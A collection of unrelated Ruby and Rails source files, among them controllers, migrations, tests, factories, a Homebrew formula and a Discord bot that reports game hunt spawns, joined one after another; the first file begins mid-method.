add_user_id(user_id)
add_attributes(attributes)
add_source
add_time
end
def add_impression_goal(experiment_key)
# Add impression goal information to the event.
#
# experiment_key - Experiment which is being activated.
# For tracking impressions, goal ID is set equal to experiment ID of experiment being activated.
@params[Params::GOAL_ID] = @config.get_experiment_id(experiment_key)
@params[Params::GOAL_NAME] = 'visitor-event'
end
def add_experiment(experiment_key, variation_id)
# Add experiment to variation mapping to the impression event.
#
# experiment_key - Experiment which is being activated.
# variation_id - ID for variation which would be presented to user.
experiment_id = @config.get_experiment_id(experiment_key)
experiment_param = sprintf(EXPERIMENT_PARAM_FORMAT,
experiment_prefix: Params::EXPERIMENT_PREFIX, experiment_id: experiment_id)
@params[experiment_param] = variation_id
end
def add_experiment_variation_params(user_id, experiment_keys)
# Maps experiment and corresponding variation as parameters to be used in the event tracking call.
#
# user_id - ID for user.
# experiment_keys - Array of valid experiment keys for the goal
experiment_keys.each do |experiment_key|
variation_id = @bucketer.bucket(experiment_key, user_id)
experiment_id = @config.experiment_key_map[experiment_key]['id']
experiment_param = sprintf(EXPERIMENT_PARAM_FORMAT,
experiment_prefix: Params::EXPERIMENT_PREFIX, experiment_id: experiment_id)
@params[experiment_param] = variation_id
end
end
def add_conversion_goal(event_key, event_value)
# Add conversion goal information to the event.
#
# event_key - Goal key representing the event which needs to be recorded.
# event_value - Value associated with the event. Can be used to represent revenue in cents.
goal_id = @config.event_key_map[event_key]['id']
event_ids = goal_id
if event_value
event_ids = sprintf('%{goal_id},%{revenue_id}', goal_id: goal_id, revenue_id: @config.get_revenue_goal_id)
@params[Params::EVENT_VALUE] = event_value
end
@params[Params::GOAL_ID] = event_ids
@params[Params::GOAL_NAME] = event_key
end
end
end
|
require File.expand_path("../../spec_helper", __FILE__)
describe ApiUtil do
describe "underscore keys recursive" do
it "should underscore all keys recursively" do
h = {caseChanges: [{aB: []}, {testCASE: 11}], smallBig: "string"}
e = {case_changes: [{a_b: []}, {test_case: 11}], small_big: "string"}
ApiUtil.underscore_keys_recursive(h).should eq e
end
end
end |
class ChangeDurationDefaultInBannerAds < ActiveRecord::Migration[5.2]
def up
change_column :banner_ads, :duration, :integer, default: 1
end
def down
change_column :banner_ads, :duration, :integer, default: nil
end
end
|
module HuntBot
class Hunts
HUNTS_BASE_URL = 'https://xivhunt.net/home/HuntTablePartial'.freeze
ALIVE_COLOR = 8437247.freeze
DEAD_COLOR = 14366791.freeze
def initialize(bot)
@bot = bot
poll(true)
end
def poll(skip_report = false)
WORLDS.each do |world, id|
doc = Nokogiri::HTML(open("#{HUNTS_BASE_URL}/#{id}"))
CONFIG.regions.each do |region|
region_top = doc.at_css("h4:contains('#{region}')")
first_zone_name = region_top.next_element.text.strip
hunts = region_top.parent.parent.css('ul:first li').map do |hunt|
hunt_data(hunt, world, first_zone_name)
end
region_top.parent.parent.css('ul:not(:first)').each do |zone|
zone_name = zone.previous_element.text.strip
zone.css('li').each do |hunt|
hunts << hunt_data(hunt, world, zone_name)
end
end
hunts.compact.each do |hunt|
key = hunt[:name].delete(" '")
alive = !hunt[:position].empty?
if !Redis.hget(world, key) && alive
# The hunt has been spotted
Redis.hset(world, key, 1)
send_alive(hunt) unless skip_report
elsif Redis.hget(world, key) && !alive
# The hunt has been killed
Redis.hdel(world, key)
send_dead(hunt) unless skip_report
end
end
end
end
end
private
def hunt_data(hunt, world, zone)
text = hunt.text.strip.split(/\r\n\s+/)
data = { world: world, zone: zone, rank: text[0], name: text[1],
position: text[2]&.scan(/\d+\.\d+/)&.join(', ') || '' }
data if data[:rank].match?(/\A(A|S)\z/)
end
def send_alive(hunt)
send_message(hunt, 'spotted', ALIVE_COLOR)
end
def send_dead(hunt)
send_message(hunt, 'killed', DEAD_COLOR)
end
def send_message(hunt, status, color)
position = " (#{hunt[:position]})" unless hunt[:position].empty?
embed = Discordrb::Webhooks::Embed.new(color: color,
description: "**#{hunt[:name]} (#{hunt[:rank]})** #{status} in "\
"**#{hunt[:zone]}**#{position} on **#{hunt[:world]}**.",
timestamp: Time.now)
case hunt[:rank]
when 'S'
channels = CONFIG.s_rank_channel_ids
when 'A'
channels = CONFIG.a_rank_channel_ids
end
begin
channels.each do |id|
@last_id = id
@bot.channel(id)&.send_embed('', embed)
end
rescue Discordrb::Errors::NoPermission
Discordrb::LOGGER.warn("Missing permissions for channel #{@last_id}")
rescue Exception => e
Discordrb::LOGGER.error(e)
e.backtrace.each { |line| Discordrb::LOGGER.error(line) }
end
end
end
end
|
class Fluentd
module Setting
class OutForward
include Fluentd::Setting::Plugin
register_plugin("output", "forward")
config_section :secondary do
config_param :path, :string
end
def self.initial_params
params = {
buffer_type: "memory",
buffer: {
"0" => {
"type" => "memory",
}
},
secondary: {
"0" => {
"type" => "file",
}
}
}
super.except(:transport).compact.deep_merge(params)
end
# TODO overwrite this method to support transport parameter and transport section
# def self.permit_params
# super
# end
def common_options
[
:label, :pattern, :server, :secondary,
]
end
def hidden_options
[
:inject, :buffer,
# Deprecated options
:host, :port,
:transport
].concat(tls_options) # Hide TLS related options to customize view
end
def tls_options
[
:tls_version,
:tls_ciphers,
:tls_insecure_mode,
:tls_allow_self_signed_cert,
:tls_verify_hostname,
:tls_cert_path
]
end
end
end
end
|
class CreateNotes < ActiveRecord::Migration
def self.up
create_table :notes do |t|
t.text :body
t.integer :created_by
t.references :partner
t.timestamps
end
end
def self.down
drop_table :notes
end
end
|
class Admin::AudioMp3sController < ApplicationController
before_filter :require_admin!
# GET /audio_mp3s
# GET /audio_mp3s.json
def index
@audio_mp3s = AudioMp3.all
respond_to do |format|
format.html # index.html.erb
format.json { render json: @audio_mp3s }
end
end
# GET /audio_mp3s/1
# GET /audio_mp3s/1.json
def show
@audio_mp3 = AudioMp3.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @audio_mp3 }
end
end
# GET /audio_mp3s/new
# GET /audio_mp3s/new.json
def new
@audio_mp3 = AudioMp3.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @audio_mp3 }
end
end
# GET /audio_mp3s/1/edit
def edit
@audio_mp3 = AudioMp3.find(params[:id])
end
# POST /audio_mp3s
# POST /audio_mp3s.json
def create
@audio_mp3 = AudioMp3.new(params[:audio_mp3])
respond_to do |format|
if @audio_mp3.save
format.html { redirect_to @audio_mp3, notice: 'Audio mp3 was successfully created.' }
format.json { render json: @audio_mp3, status: :created, location: @audio_mp3 }
else
format.html { render action: "new" }
format.json { render json: @audio_mp3.errors, status: :unprocessable_entity }
end
end
end
# PUT /audio_mp3s/1
# PUT /audio_mp3s/1.json
def update
@audio_mp3 = AudioMp3.find(params[:id])
respond_to do |format|
if @audio_mp3.update_attributes(params[:audio_mp3])
format.html { redirect_to audio_mp3_path(@audio_mp3), notice: 'Audio mp3 was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @audio_mp3.errors, status: :unprocessable_entity }
end
end
end
# DELETE /audio_mp3s/1
# DELETE /audio_mp3s/1.json
def destroy
@audio_mp3 = AudioMp3.find(params[:id])
@audio_mp3.destroy
respond_to do |format|
format.html { redirect_to admin_audio_contents_url }
format.json { head :no_content }
end
end
end
|
class CreateUsuarios < ActiveRecord::Migration[5.1]
def change
create_table :usuarios do |t|
t.string :num_identificacion
t.string :nombre
t.string :apellido
t.string :sexo
t.string :correo_electronico
t.string :telefono
t.date :fecha_nacimiento
t.timestamps
end
end
end
|
require 'play_store_info/readers'
module PlayStoreInfo
class AppParser
include PlayStoreInfo::Readers
readers %w(id name artwork description)
def initialize(id, body)
@id = id
@body = body
scrape_data
self
end
private
def read_id
@id
end
def read_name
name = @body.xpath('//div[@itemprop="name"]/div/text()').text
raise AppNotFound if name.empty?
# get the app proper name in case the title contains some description
name.split(' - ').first.strip
end
def read_artwork
url = @body.xpath('//img[@itemprop="image"]/@src').first&.value&.strip || ''
# add the HTTP protocol if the image source is lacking http:// because it starts with //
url.match(%r{^https?:\/\/}).nil? ? "http://#{url.gsub(%r{\A\/\/}, '')}" : url
end
def read_description
description = @body.xpath('//div[@itemprop="description"]').first&.inner_html&.strip
description.nil? ? '' : Sanitize.fragment(description).strip
end
end
end
|
class UserSerializer < ActiveModel::Serializer
attributes :id, :email, :name
has_many :assignments
has_many :tasks through: :assignments
end
|
class CommentsController < ApplicationController
def index
@restaurant = Restaurant.find(params[:restaurant_id])
@comments = @restaurant.comments
end
def new
@restaurant = Restaurant.find(params[:restaurant_id])
@comment = @restaurant.comments.build
end
def create
@restaurant = Restaurant.find(params[:restaurant_id])
@comment = @restaurant.comments.create(comment_params)
respond_to do |format|
if @comment.save
format.html { redirect_to @restaurant, notice: "Thank you for giving and for supporting the community!"}
format.js {}
format.json {render json: @restaurant, status: :created, location: @restaurant}
else
format.html { redirect_to @restaurant, notice: "Sorry, the associated account with email: #{current_user.email} has an account balance of "}
format.js {}
format.json { render json: @restaurant, notice: "Users are only ab"}
end
end
end
def show
# binding.pry
@restaurant = Restaurant.find(params[:id])
# @restaurant.comments = Restaurant.find(params[:id])
end
private
def comment_params
params.require(:comment).permit(:title, :body)
end
end
|
FactoryGirl.define do
factory :customer do
sequence(:first_name){|n| "FirstName_#{n}"}
sequence(:last_name){|n| "LastName_#{n}"}
end
factory :charge do
sequence(:created) { 12121 }
sequence(:paid){ true }
sequence(:amount){5431}
sequence(:currency){'usd'}
sequence(:refunded){false}
end
end |
require File.dirname(__FILE__) + '/../spec_helper'
describe 'update' do
controller_name :password
before(:each) do
# mock_logged_in_user
end
# it "should raise an excpetion if request is not a post" do
# get 'update'
# u = users(:user1_lower_case)
#
# response.should be_error
# end
# it "should set the new password on valid parameters" do
# u = users(:user1_lower_case)
#
# params = { :update => { :current_password => 'f00bar', :new_password => 'p@ssw0rd',
# :new_password_confirmation => 'p@ssw0rd'} }
# post :update, params, @session_hash
# assert_response :success
# end
# it "should return an error when the current password is incorrect" do
# u = users(:user1_lower_case)
#
# params = { :update => { :current_password => 'xxxxx', :new_password => 'p@ssw0rd',
# :new_password_confirmation => 'p@ssw0rd'} }
# post :update, params, @session_hash
# assert_response :success
# assert_equal false, assigns(:changed)
# end
# it "should return an error when the current password is empty" do
# u = users(:user1_lower_case)
#
# params = { :update => { :current_password => '', :new_password => 'p@ssw0rd',
# :new_password_confirmation => 'p@ssw0rd'} }
# post :update, params, @session_hash
# assert_response :success
# assert_equal false, assigns(:changed)
# end
# it "should return an error when the current password is not given" do
# u = users(:user1_lower_case)
#
# params = { :update => { :new_password => 'p@ssw0rd',
# :new_password_confirmation => 'p@ssw0rd'} }
# post :update, params, @session_hash
# assert_response :success
# assert_equal false, assigns(:changed)
# end
# it "should return an error when the new password is invalid" do
# u = users(:user1_lower_case)
#
# params = { :update => { :current_password => 'f00bar', :new_password => 'p',
# :new_password_confirmation => 'p'} }
# post :update, params, @session_hash
# assert_response :success
# assert_equal false, assigns(:changed)
# end
# it "should return an error when the new password is empty" do
# u = users(:user1_lower_case)
#
# params = { :update => { :current_password => 'f00bar', :new_password => '',
# :new_password_confirmation => ''} }
# post :update, params, @session_hash
# assert_response :success
# assert_equal false, assigns(:changed)
# end
# it "should return an error when the new password confirmation isn't given" do
# u = users(:user1_lower_case)
#
# params = { :update => { :current_password => 'f00bar' }, :new_password => 'p@ssw0rd' }
# post :update, params, @session_hash
# assert_response :success
# assert_equal false, assigns(:changed)
# end
# it "should return an error when the new password doesn't match the confirmation" do
# u = users(:user1_lower_case)
#
# params = { :update => { :current_password => 'f00bar', :new_password => 'p@ssw0rd',
# :new_password_confirmation => 'xxxx'} }
# post :update, params, @session_hash
# assert_response :success
# assert_equal false, assigns(:changed)
# end
end
|
require "formula"
class SpringLoaded < Formula
homepage "https://github.com/spring-projects/spring-loaded"
url "http://search.maven.org/remotecontent?filepath=org/springframework/springloaded/1.2.0.RELEASE/springloaded-1.2.0.RELEASE.jar"
sha1 "dd02aa7d9fa802f59bd4bd485e18d55ef5c74bba"
version "1.2.0"
def install
(share/"java").install "springloaded-#{version}.RELEASE.jar" => "springloaded.jar"
end
test do
system "java", "-javaagent:#{share}/java/springloaded.jar", "-version"
end
end
|
class ApplicationController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
# For APIs, you may want to use :null_session instead.
protect_from_forgery with: :exception
include SessionsHelper
def after_sign_in_path_for(resource)
if resource.role == "librarian"
librarian_path
else resource.role == "student"
books_path
end
end
end
|
class OrdersController < ApplicationController
def create
@order = Order.new(order_params)
OrderMailer.with(@order.to_h.stringify_keys).order_mail.deliver_later
respond_to do |format|
format.html{ redirect_to root_path, notice: t('notice_mail_sent') }
format.js{ flash.now[:notice] = "" }
end
end
private
def order_params
params.require(:order).permit(:name)
end
end
|
require File.join(File.dirname(__FILE__), '..', 'models', 'hand')
require 'rspec'
describe Hand do
subject { Hand.new(cards) }
RANKED_HANDS = {
:royal_flush => "Th Qh Jh Kh Ah",
:straight_flush => "Th 9h Jh Qh 8h",
:flush => "Th 9h Jh Qh 7h",
:straight => "Jh Td Qs Ks 9h",
:four_of_a_kind => "Th Ts Td Tc 8h",
:full_house => "Th Ts Tc Qh Qd",
:three_of_a_kind => "Th Ts Td 7c 8h",
:two_pair => "Th Ts Jd 8c 8h",
:one_pair => "Th Ts Jd 6c 8h"
}
RANKED_HANDS.each do |name, cards|
let(name) { Hand.new(cards) }
end
describe "royal flushes" do
subject { royal_flush }
it { should be_royal_flush }
it { should be_straight_flush }
it { should be_straight }
it { should be_flush }
it { should_not be_four_of_a_kind }
it { should_not be_full_house }
it { should_not be_three_of_a_kind }
it { should_not be_two_pair }
it { should_not be_one_pair }
its(:rank) { should == :royal_flush }
[:straight_flush, :flush, :straight, :four_of_a_kind, :full_house, :three_of_a_kind, :two_pair, :one_pair].each do |hand|
it "beat a #{hand}" do
subject.should be > send(hand)
end
end
end
describe "straight flushes" do
subject { straight_flush }
it { should_not be_royal_flush }
it { should be_straight_flush }
it { should be_straight }
it { should be_flush }
it { should_not be_four_of_a_kind }
it { should_not be_full_house }
it { should_not be_three_of_a_kind }
it { should_not be_two_pair }
it { should_not be_one_pair }
its(:rank) { should == :straight_flush }
it "loses to a royal flush" do
subject.should be < royal_flush
end
[:flush, :straight, :four_of_a_kind, :full_house, :three_of_a_kind, :two_pair, :one_pair].each do |hand|
it "beat a #{hand}" do
subject.should be > send(hand)
end
end
end
other_hands = [:four_of_a_kind, :full_house, :flush, :straight, :three_of_a_kind, :two_pair, :one_pair]
other_hands.each do |hand|
describe hand.to_s do
subject { send(hand) }
RANKED_HANDS.each do |hand_name, cards|
if hand == hand_name
it { should send("be_#{hand_name}") }
else
it { should_not send("be_#{hand_name}") }
end
end
it "loses to a royal flush" do
subject.should be < royal_flush
end
it "loses to a straight flush" do
subject.should be < straight_flush
end
hand_index = other_hands.index(hand)
other_hands.slice(0, hand_index).each do |winning_hand|
it "loses to a #{winning_hand}" do
subject.should be < send(winning_hand)
end
end
other_hands.slice(hand_index + 1, other_hands.length - hand_index).each do |losing_hand|
it "beats a #{losing_hand}" do
subject.should be > send(losing_hand)
end
end
end
end
describe "straights with ace low" do
subject { Hand.new("Ah 3c 4d 5s 2c") }
it { should be_straight }
its(:rank) { should == :straight }
end
describe "tie breaking for hands with the same rank" do
describe "for straights" do
it "is done by highest card" do
Hand.new("2s 3d 4s 5c 6h").should be < Hand.new("3c 4d 5s 6d 7h")
end
it "counts aces as low when the straight is a wheel" do
Hand.new("2s 3d 4s 5c Ah").should be < Hand.new("3c 4d 5s 6d 7h")
end
describe "for flushes" do
it "is done by the highest card" do
Hand.new("As Ks 4s 5s 6s").should be < Hand.new("Ac Kc Qc 6c 7c")
end
end
describe "for four of a kind" do
it "is done by the rank of the quads" do
Hand.new("Ks Kd Kc Kh 6s").should be > Hand.new("Qs Qd Qc Qh Ad")
end
it "is done secondarily by the kicker" do
Hand.new("Ks Kd Kc Kh 6s").should be > Hand.new("Ks Kd Kc Kh 4s")
end
end
describe "for full houses" do
it "is done by the rank of the trips primarily" do
Hand.new("Ks Kd Kc Qh Qs").should be > Hand.new("Js Jd Jc Ah Ad")
end
it "is done secondarily by the rank of the pair" do
Hand.new("Ks Kd Kc Qh Qs").should be > Hand.new("Ks Kd Kc Jh Js")
end
end
describe "for trips" do
it "is done by the rank of the trips primarily" do
Hand.new("Ks Kd Kc Qh Js").should be > Hand.new("Js Jd Jc Ah Kd")
end
it "is done secondarily by the rank of the kickers" do
Hand.new("Ks Kd Kc Qh Js").should be > Hand.new("Ks Kd Kc Qh Ts")
end
end
describe "for two pairs" do
it "is done by the rank of the first pair primarily" do
Hand.new("Ks Kd Qc Qh Js").should be > Hand.new("Js Jd Tc Th Kd")
end
it "is done secondarily by the rank of the second pair" do
Hand.new("Ks Kd Jc Qh Js").should be > Hand.new("Ks Kd Tc Qh Ts")
end
it "is done tertiarily by the kicker" do
Hand.new("Ks Kd Jc Qh Js").should be > Hand.new("Ks Kd Jc 2h Js")
end
end
describe "for one pairs" do
it "is done by the rank of the pair primarily" do
Hand.new("Ks Kd Tc Qh Js").should be > Hand.new("Js Jd 9c Th Kd")
end
it "is done secondarily by the rank of the kickers" do
Hand.new("Ks Kd Jc 9h 3s").should be > Hand.new("Ks Kd Jc 8h 2s")
end
end
end
end
describe "json representation" do
subject(:json) { royal_flush.as_json }
its(:length) { should == 5 }
it "has the suit and rank of each card" do
royal_flush.cards.each_with_index do |card, index|
json[index][:suit].should == card.suit
json[index][:rank].should == card.rank
end
end
end
end
|
# Read about factories at https://github.com/thoughtbot/factory_girl
FactoryGirl.define do
factory :contact do
name Faker::Name.name
email Faker::Internet.free_email
message Faker::Lorem.paragraphs(2)
end
end
|
class Api::V1::ActivitiesController < Api::V1::ApiController
def index
render json: Activity::Feed.new(current_user), include: ['activities']
end
end
|
# *******************************************
# This is a demo file to show usage.
#
# @package TheCityAdmin::Admin
# @authors Robbie Lieb <robbie@onthecity.org>, Wes Hays <wes@onthecity.org>
# *******************************************
require 'ruby-debug'
require File.dirname(__FILE__) + '/../lib/the_city_admin.rb'
require File.dirname(__FILE__) + '/city_keys.rb'
include CityKeys
TheCityAdmin::AdminApi.connect(KEY, TOKEN)
puts "------------------------------------"
metric_list = TheCityAdmin::MetricList.new
if metric_list.empty?
puts "No metrics in list"
else
puts "Metrices: #{metric_list.count}"
end
# The next line is the same as: TheCityAdmin::MetricMeasurementList.new({:metric_id => metric_list[0].id})
measurement_list = metric_list[0].measurements
if metric_list.empty?
puts "No measurements in list"
else
puts "Measurements: #{measurement_list.count}"
end
# The next line is the same as: TheCityAdmin::MetricMeasurementValues.new({:metric_id => metric_list[0].id})
values = metric_list[0].measurement_values
if values.empty?
puts "No values returned"
else
puts "Measurement values: #{values.count}"
values.each_with_index { |value, indx| puts "#{indx+1}) #{value}" }
end
puts "####################################"
|
class ProjectsController < ApplicationController
#before_action :set_project, only: [:show, :edit, :update, :destroy]
before_filter :authenticate_user!
load_and_authorize_resource :except => [:destroy, :create]
before_filter :get_task_count
def index
@projects = current_user.projects.order('do_counter DESC')
@total_todo =Todo.where('user_id =?', current_user.id)
@todos = current_user.todos.order('position')
if not session[:projects]
update_project_information()
end
end
def show
@project = current_user.projects.find(params[:id])
@projects = current_user.projects.order('do_counter DESC')
@todos = @project.todos.includes(:deadline).order('deadlines.date ASC')
if not session[:projects]
update_project_information()
end
end
def new
@projects = current_user.projects.order('do_counter DESC')
@project = Project.new
end
def edit
@project = current_user.projects.where('project_id = ?',params[:id]).first
end
def create
authorize! :create, @project
@project = Project.new(project_params)
respond_to do |format|
if @project.save
@assignment = @project.assignments.build(:project_id => @project.id, :user_id => current_user.id )
@assignment.save
format.html { redirect_to @project, notice: 'Project was successfully created.' }
format.json { render action: 'show', status: :created, location: @project }
else
format.html { render action: 'new' }
format.json { render json: @project.errors, status: :unprocessable_entity }
end
update_project_information()
end
end
def update
@project = current_user.projects.find(params[:id])
#@project = Project.find(params[:id])
@project.update_attributes(project_params)
respond_to do |format|
format.html { redirect_to project_url(@project),
notice: 'Product was successfully created.' }
format.js
end
end
def destroy
@project = current_user.projects.find(params[:id])
# @project= Project.find(params[:id])
authorize! :destroy, @project
@project.destroy
update_project_information()
respond_to do |format|
format.html { redirect_to projects_url }
format.json { head :no_content }
end
end
private
def get_task_count
@todays_task_count = Task.count_todays_tasks(current_user)
@weeks_task_count = Task.count_weeks_tasks(current_user)
end
# Use callbacks to share common setup or constraints between actions.
def set_project
# @project = current_user.projects.where('project_id = ?',params[:id]).first
end
def doneCount(project)
Todo.where("project_id = ?", project.id).where("status = ?", "done").count
end
# Never trust parameters from the scary internet, only allow the white list through.
def project_params
params.require(:project).permit(:name, :user_id)
end
def assignment_params
params.fetch(:assignment, {}).permit(:user_id, :project_id)
end
end
|
class UsersController < ApplicationController
before_action :logged_in_user, only: [:index, :edit, :update, :destroy]
before_action :correct_user, only: [:edit, :update]
before_action :admin_user, only: :destroy
def show
end
def create
@user = User.new(user_params)
end
def user_params
params.require(:user).permit(:email, :password,
:password_confirmation)
end
def admin_user
redirect_to(root_url) unless current_user.admin?
end
end
|
require "./lib/renter"
require "minitest/autorun"
require "./lib/dock"
require "./lib/boat"
require "pry"
class DockTest < Minitest::Test
def setup
@dock =Dock.new("The Rowing Dock", 3)
@kayak_1 = Boat.new(:kayak, 20)
@kayak_2 = Boat.new(:kayak, 20)
@sup_1 = Boat.new(:standup_paddle_board, 15)
@sup_2 = Boat.new(:standup_paddle_board, 15)
@canoe = Boat.new(:canoe, 25)
@patrick = Renter.new("Patrick Star", "4242424242424242")
@eugene = Renter.new("Eugene Crabs", "1313131313131313")
end
def test_has_name
assert_equal "The Rowing Dock", @dock.name
end
def test_has_max_rental_time
assert_equal 3, @dock.max_rental_time
end
def test_rental_log
@dock.rent(@kayak_1, @patrick)
assert_equal ({@kayak_1 => @patrick}), @dock.rental_log
@dock.rent(@sup_1, @eugene)
assert_equal ({@kayak_1 => @patrick, @sup_1 => @eugene}), @dock.rental_log
end
def test_charge
@dock.rent(@kayak_1, @patrick)
@kayak_1.add_hour
@kayak_1.add_hour
assert_equal ({
:card_number => "4242424242424242",
:amount => 40
}), @dock.charge(@kayak_1)
@dock.rent(@sup_1, @eugene)
5.times{@sup_1.add_hour}
assert_equal ({
:card_number => "1313131313131313",
:amount => 45
}), @dock.charge(@sup_1)
end
def test_log_hour
@dock.rent(@kayak_1, @patrick)
@dock.rent(@kayak_2, @patrick)
@dock.log_hour
assert_equal 1, @kayak_1.hours_rented
assert_equal 1, @kayak_2.hours_rented
@dock.rent(@canoe, @eugene)
@dock.log_hour
assert_equal 2, @kayak_2.hours_rented
assert_equal 1, @canoe.hours_rented
end
def test_return
@dock.rent(@kayak_1, @patrick)
@dock.log_hour
@dock.return(@kayak_1)
@dock.log_hour
assert_equal 1, @kayak_1.hours_rented
end
def test_revenue
@dock.rent(@kayak_1, @patrick)
@dock.rent(@kayak_2, @patrick)
@dock.log_hour
@dock.rent(@canoe, @patrick)
@dock.log_hour
assert_equal 0, @dock.revenue
@dock.return(@kayak_2)
@dock.return(@kayak_1)
@dock.return(@canoe)
assert_equal 105, @dock.revenue
@dock.rent(@sup_1, @eugene)
@dock.rent(@sup_2, @eugene)
5.times{@dock.log_hour}
@dock.return(@sup_1)
@dock.return(@sup_2)
assert_equal 195, @dock.revenue
end
def test_no_double_renting
@dock.rent(@kayak_1, @patrick)
@dock.rent(@kayak_1, @eugene)
assert_equal @patrick, @dock.rental_log[@kayak_1]
end
end
|
class UsersController < ApplicationController
before_action :set_user, only: [:show, :edit, :update, :destroy]
# before the show, edit, update or the destroy actions run call the
# method 'set_user'
# GET /users
# GET /users.json
def index
@users = User.all
num_users = @users.length
if (num_users > 50)
@some_text = "hi guys! we have lots of users! we have #{num_users} users"
else
@some_text = "What a bummer. We only have #{num_users} user(s)"
end
# OR on single columns
# @users is passed in an array (even if it returns one result!!)
#@users = User.where(first_name: ["Samuel", "Amma"])
# you can so pass in straight SQL for OR
#@users = User.where("first_name = 'Samuel' OR first_name = 'Amma'")
# find out how to do or in multiple columns
# and
#@users = User.where(first_name: "Samuel", last_name: "Edusa")
# @user is passed in an object below
#@users = User.last
end
# GET /users/1
# GET /users/1.json
def show
@projects = @user.projects # this is possible because we have established a
# relationship between user - projects and projects and user
@is_empty = false # this instance variable is initialized with the boolean value
# 'true'
if @projects.empty?
@is_empty = true
end
# In-class assignment (see video)
# ------------------------------
# if first_name = "Amma" create a variable that says "this person's name
# is Amma!" else say "this person's name is not Amma, their name is [whatever]"
# This is the conventional way of handling such a logic - ony the output
# that is required is sent to the VIEW
first_name = @user.first_name
@marked_user = "Amma"
@is_this_marked_user = false
if first_name == @marked_user
@is_this_marked_user = true
end
end
# GET /users/new
def new
@user = User.new
end
# GET /users/1/edit
def edit
end
# POST /users
# POST /users.json
def create
@user = User.new(user_params)
respond_to do |format|
if @user.save
format.html { redirect_to @user, notice: 'User was successfully created.' }
format.json { render action: 'show', status: :created, location: @user }
else
format.html { render action: 'new' }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /users/1
# PATCH/PUT /users/1.json
def update
respond_to do |format|
if @user.update(user_params)
format.html { redirect_to @user, notice: 'User was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end
# DELETE /users/1
# DELETE /users/1.json
def destroy
@user.destroy
respond_to do |format|
format.html { redirect_to users_url }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_user
@user_id = params[:id] # we created this to be able to show it
@user = User.find(params[:id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def user_params
params.require(:user).permit(:first_name, :last_name, :email)
end
end
|
class CreateProjectMembers < ActiveRecord::Migration[5.2]
def up
create_table :project_members do |t|
t.integer :project_id
t.integer :user_id
t.string :job_title
t.text :brief_intro
t.boolean :is_leader
t.belongs_to :project, index: true
t.belongs_to :user, index: true
t.timestamps
end
end
def down
drop_table :project_members
end
end
|
class AlterMenusAddUser < ActiveRecord::Migration
def change
add_column :menus, :user_id, :integer
add_index :menus, :user_id
end
end
|
Rails.application.routes.draw do
resources :categories
resources :blogs
devise_for :users
root to: 'pages#home'
end
|
module FindMyPet
class FoundMessage < ActiveRecord::Base
belongs_to :found_pet, foreign_key: 'animal_id'
belongs_to :user, foreign_key: 'user_id'
end
end |
class CopropietariosController < ApplicationController
before_action :set_copropietario, only: [:show, :edit, :update, :destroy]
# GET /copropietarios
# GET /copropietarios.json
def index
@copropietarios = Copropietario.all
end
# GET /copropietarios/1
# GET /copropietarios/1.json
def show
end
# GET /copropietarios/new
def new
@copropietario = Copropietario.new
end
# GET /copropietarios/1/edit
def edit
end
# POST /copropietarios
# POST /copropietarios.json
def create
@copropietario = Copropietario.new(copropietario_params)
respond_to do |format|
if @copropietario.save
format.html { redirect_to @copropietario, notice: 'Copropietario was successfully created.' }
format.json { render :show, status: :created, location: @copropietario }
else
format.html { render :new }
format.json { render json: @copropietario.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /copropietarios/1
# PATCH/PUT /copropietarios/1.json
def update
respond_to do |format|
if @copropietario.update(copropietario_params)
format.html { redirect_to @copropietario, notice: 'Copropietario was successfully updated.' }
format.json { render :show, status: :ok, location: @copropietario }
else
format.html { render :edit }
format.json { render json: @copropietario.errors, status: :unprocessable_entity }
end
end
end
# DELETE /copropietarios/1
# DELETE /copropietarios/1.json
def destroy
@copropietario.destroy
respond_to do |format|
format.html { redirect_to copropietarios_url, notice: 'Copropietario was successfully destroyed.' }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_copropietario
@copropietario = Copropietario.find(params[:id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def copropietario_params
params.require(:copropietario).permit(:id_copropietario, :nombres, :cedula, :fecha_nacimiento, :actividad, :direccion, :telefono, :celular, :mail, :id_edificio, :id_departamento)
end
end
|
class User < ApplicationRecord
rolify
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :validatable, :trackable,
:jwt_authenticatable, jwt_revocation_strategy: ::JwtBlacklist
has_many :interest_lists
has_many :reviews
has_many :ratings
has_many :favorites
has_many :favorite_works, through: :favorites,
source: :favorable, source_type: 'Work'
has_many :favorite_creators, through: :favorites,
source: :favorable, source_type: 'Creator'
has_one :collection
end
|
require 'spec_helper'
include SsqMachines
describe Transition do
class DummyBehavior
include Behavior
end
let(:behavior) { DummyBehavior.new }
let(:klass) { DummyBehavior }
let(:string) { "foo"}
let(:symbol) { :foo }
it "should work when not given anything" do
t = Transition.new()
t.behavior.must_be_nil
t.state.must_be_nil
end
it "should work when given nils" do
t = Transition.new(nil, nil)
t.behavior.must_be_nil
t.state.must_be_nil
end
it "should work when given a behavior" do
t = Transition.new(behavior)
t.behavior.must_equal behavior
t.state.must_be_nil
end
it "should work when given a behavior class" do
t = Transition.new(klass)
t.behavior.must_be_instance_of klass
t.state.must_be_nil
end
it "should work when given a string" do
t = Transition.new(string)
t.behavior.must_be_nil
t.state.must_equal string
end
it "should work when given a symbol" do
t = Transition.new(symbol)
t.behavior.must_be_nil
t.state.must_equal symbol
end
it "should work when given a behavior and a state" do
t = Transition.new(behavior, string)
t.behavior.must_equal behavior
t.state.must_equal string
end
end
|
class RemoveOrderItemColumn < ActiveRecord::Migration[5.2]
def change
remove_column :orders, :order_item_id
end
end
|
# == Schema Information
#
# Table name: calendars
#
# id :bigint(8) not null, primary key
# name :string not null
# description :text
# location :text
# calendar_type :string not null
# space_id :bigint(8) not null
# created_at :datetime not null
# updated_at :datetime not null
#
class Calendar < ApplicationRecord
belongs_to :space
validates :space, presence: true
has_many :calendar_entries, dependent: :destroy
end
|
# Match name
class MatchesName
def self.===(item)
item.include?('name')
end
end |
